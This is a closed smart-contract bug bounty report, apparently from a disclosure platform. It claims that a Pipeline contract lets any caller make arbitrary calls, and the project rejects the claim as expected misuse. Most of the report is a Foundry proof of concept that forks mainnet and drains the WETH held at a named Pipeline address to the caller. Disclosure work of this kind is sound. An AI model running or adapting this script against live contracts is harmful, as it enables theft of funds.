Report Date
February 10, 2024
Status
Closed
Payout
Lack of caller validation
‣
Report ID
#28370
Report type
Smart Contract
Has PoC?
Yes
Target
Impacts
- Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Bug Description
Pipes does not check whether the msg.sender is the legitimal one or any other user leading to arbitrary calls allowing the attacker to transfer funds.
Impact
Stealing Users Funds.
Risk Breakdown
Difficulty to Exploit: Easy Weakness: Not checking if msg.sender is depot CVSS2 Score: Critical
Recommendation
Checking msg.sender == depot.
References
Photos on the ticket.
Proof of concept
pragma solidity ^0.8.20;
import {Test, console2} from "forge-std/Test.sol";
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface Pipe_I {
function advancedPipe(AdvancedPipeCall[] memory pipes)
external
payable
returns (bytes[] memory results);
function multiPipe(PipeCall[] memory pipes)
external
payable
returns (bytes[] memory results);
function onERC1155BatchReceived(
address,
address,
uint256[] memory,
uint256[] memory,
bytes memory
) external returns (bytes4);
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes memory
) external returns (bytes4);
function onERC721Received(
address,
address,
uint256,
bytes memory
) external returns (bytes4);
function pipe(PipeCall memory p)
external
payable
returns (bytes memory result);
function supportsInterface(bytes4 interfaceId) external view returns (bool);
function version() external pure returns (string memory);
}
struct AdvancedPipeCall {
address target;
bytes callData;
bytes clipboard;
}
struct PipeCall {
address target;
bytes data;
}
contract CounterTest is Test
{
Pipe_I Pipe = Pipe_I(0xb1bE0000C6B3C62749b5F0c92480146452D15423);
IERC20 Weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
function setUp() public {
vm.selectFork(vm.createFork("mainnet"));
}
function testA() public
{
console2.log(Weth.balanceOf(address(this)));
{
PipeCall memory pipecalldata;
pipecalldata.target = address(Weth);
pipecalldata.data = abi.encodeWithSignature(
"transfer(address,uint256)",
address(this),
Weth.balanceOf(address(Pipe))
);
Pipe.pipe(pipecalldata);
}
console2.log(Weth.balanceOf(address(this)));
}
}
BIC Response
This is not a valid bug report because it describes expected behavior from misuse of Pipeline.
From the bug bounty program:
Note that unexpected outcomes (like loss of funds) due to misuse of Pipeline do not qualify as valid bug reports.
Due to these reasons, we are closing the submission and no reward will be issued.